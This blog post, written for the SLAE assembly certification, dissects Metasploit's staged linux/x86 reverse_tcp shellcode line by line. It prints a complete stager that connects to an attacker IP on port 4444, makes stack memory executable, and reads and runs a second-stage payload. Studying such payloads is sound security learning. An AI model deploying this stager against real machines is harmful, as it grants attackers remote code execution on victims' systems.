Now, we’re cooking! We previously looked at two MSF payloads, read_file and the staged version of a bind_tcp shell. Now, we will look at one of the most commonly used MSF payloads out there: the staged reverse tcp shell. I’m assuming it will be very similar to the staged bind tcp shell, but who knows. There’s only one way to find out!
- Take up at least 3 shellcode samples created using Msfpayload for linux/x86
- Use GDB/Ndisasm/Libemu to dissect the functionality of the shellcode
- Present your analysis
I’ve already hyped up the fact that we’ll be taking a look at msfvenom’s
linux/x86/shell/reverse_tcp payload. If you missed part one or part two, I highly recommend going back and reading that. Once you’re all caught up, rejoin us below!
Generating the Files
We’ll quickly get started by generating our raw and disassembled files.
It’s time to dig through the assembly. My guess was right, in that this is very similar to the bind tcp shell we looked at in part two, and I’ll prove it to you right… now!
Make the Socket
00000000 xor ebx,ebx ; Clear EBX 00000002 mul ebx ; Clear EAX, EDX 00000004 push ebx ; [0x0] 00000005 inc ebx ; set ebx to 1 (SYS_SOCKET) 00000006 push ebx ; [0x1, 0x0] 00000007 push byte +0x2 ; [0x2, 0x1, 0x0] 00000009 mov al,0x66 ; SYSCALL(0x66) // man 2 socketcall 0000000B mov ecx,esp ; mov *args into ecx 0000000D int 0x80 ; socketcall(1, *esp) -> socket(2, 1, 0) -> socket(AF_INET, SOCK_STREAM, 0) (see Assignment 1 for details)
This is pretty standard. We are just creating a TCP socket for use. If you have trouble understanding the comments, review parts one and two of this series. If you still have trouble, please leave a comment below!
Connect to Attacker
0000000F test eax,eax ; Ensure EAX is not negative 00000011 js 0x57 ; If EAX < 0, exit 00000013 xchg eax,edi ; Move socket fd (SOCKFD) to EDI 00000014 pop ebx ; Put 0x2 into ebx // [0x1, 0x0] 00000015 push dword 0x81caa8c0 ; [0x81caa8c0, 0x1, 0x0] // IP Address (192.168.202.129) 0000001A push dword 0x5c110002 ; [0x5c110002, 0x81caa8c0, 0x1, 0x0] // sin_port and sin_family (4444, 0x0002) 0000001F mov ecx,esp ; ecx -> [0x5c110002, 0x81caa8c0, 0x1, 0x0] 00000021 push byte +0x66 ; prepare for syscall 00000023 pop eax ; SYSCALL(0x66) // man 2 socketcall 00000024 push eax ; [0x66, 0x5c110002, 0x81caa8c0, 0x1, 0x0] 00000025 push ecx ; [*(0x5c110002, ...), 0x66, 0x5c110002, 0x81caa8c0, 0x1, 0x0] 00000026 push edi ; [SOCKFD, *(0x5c110002, ...), 0x66, 0x5c110002, 0x81caa8c0, 0x1, 0x0] 00000027 mov ecx,esp ; ecx -> [SOCKFD, *(0x5c110002, ...), 0x66, 0x5c110002, 0x81caa8c0, 0x1, 0x0] 00000029 inc ebx ; EBX = 0x3 (SYS_CONNECT) 0000002A int 0x80 ; socketcall(3, [SOCKFD, *(0x5c110002, 0x81caa8c0, 0x1, 0x0)])
Here we tell our newly created socket to connect to our attacker’s machine. In my case, I gave msfvenom no arguments, so it automatically used an RHOST value of my local IP 192.168.202.129, and a port of 4444. Good to know!
Mark Memory for Staged Shellcode
0000002C test eax,eax ; Check if return value was negative 0000002E js 0x57 ; If negative, jump to exit 00000030 mov dl,0x7 ; edx = 0x7 00000032 mov ecx,0x1000 ; ecx = 0x1000 00000037 mov ebx,esp ; ebx = [SOCKFD, *(0x5c110002, ...), 0x66, 0x5c110002, 0x81caa8c0, 0x1, 0x0] 00000039 shr ebx,byte 0xc ; align ebx to a page 0000003C shl ebx,byte 0xc ; by clearing last 12 bits of ebx 0000003F mov al,0x7d ; SYSCALL(125) 00000041 int 0x80 ; mprotect(ebx, 0x1000, 7) -> make 0x1000 bytes at the stack RWX
This is doing the same thing it did with the bind tcp shell. It marks a page of memory on our stack as RWX, so that we can place our staged payload there and run it.
Read Staged Shellcode into Memory
00000043 test eax,eax ; Test for negative return code 00000045 js 0x57 ; If negative, jump to exit 00000047 pop ebx ; EBX = SOCKFD // [*(0x5c110002, ...), 0x66, 0x5c110002, 0x81caa8c0, 0x1, 0x0] 00000048 mov ecx,esp ; ECX -> [*(0x5c110002, ...), 0x66, 0x5c110002, 0x81caa8c0, 0x1, 0x0] 0000004A cdq ; clear EDX (by extending sign bit of eax to edx) 0000004B mov dh,0xc ; EDX = 0xC00 0000004D mov al,0x3 ; SYSCALL(0x3) // man 2 read 0000004F int 0x80 ; read(SOCKFD, ECX (STACK), 0x00000C00)
Here, we receive our staged shellcode from the attacker’s machine, and store it on the stack.
Jump to Staged Shellcode
00000051 test eax,eax ; Test for negative return code 00000053 js 0x57 ; If negative, jump to exit 00000055 jmp ecx ; If it wasn't, jump to ECX which contains our staged shellcode
Finally, as long as no errors have occurred, we are ready to pass execution to the stack, where our staged payload sits awaiting execution.
Exit Due to Failure
00000057 mov, 0x1 ; SYSCALL(0x1) // man 2 exit 0000005C mov, 0x1 ; return code of 1 (error because staged shellcode didn't make it) 00000061 int 0x80 ; exit(1)
This section of code is mentioned throughout this payload. If at any point, a function returns a negative value in EAX, the payload will jump to this section, causing an exit with a return code of 1, indicating something went wrong.
linux/x86/shell/reverse_tcp payload was very similar to the bind_tcp payload as predicted. One of the key differences here was the fact that the reverse_tcp payload does a lot more to check for errors, which was interesting to see. In any case, I hope you learned as much as I did throughout this exercise, and I encourage you to walk through this process on a different payload. I’d love to hear about what you find or what payloads you choose to analyze! So leave a comment below, and until next time, happy hacking!
SLAE Exam Statement
This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:
Student ID: SLAE-1158
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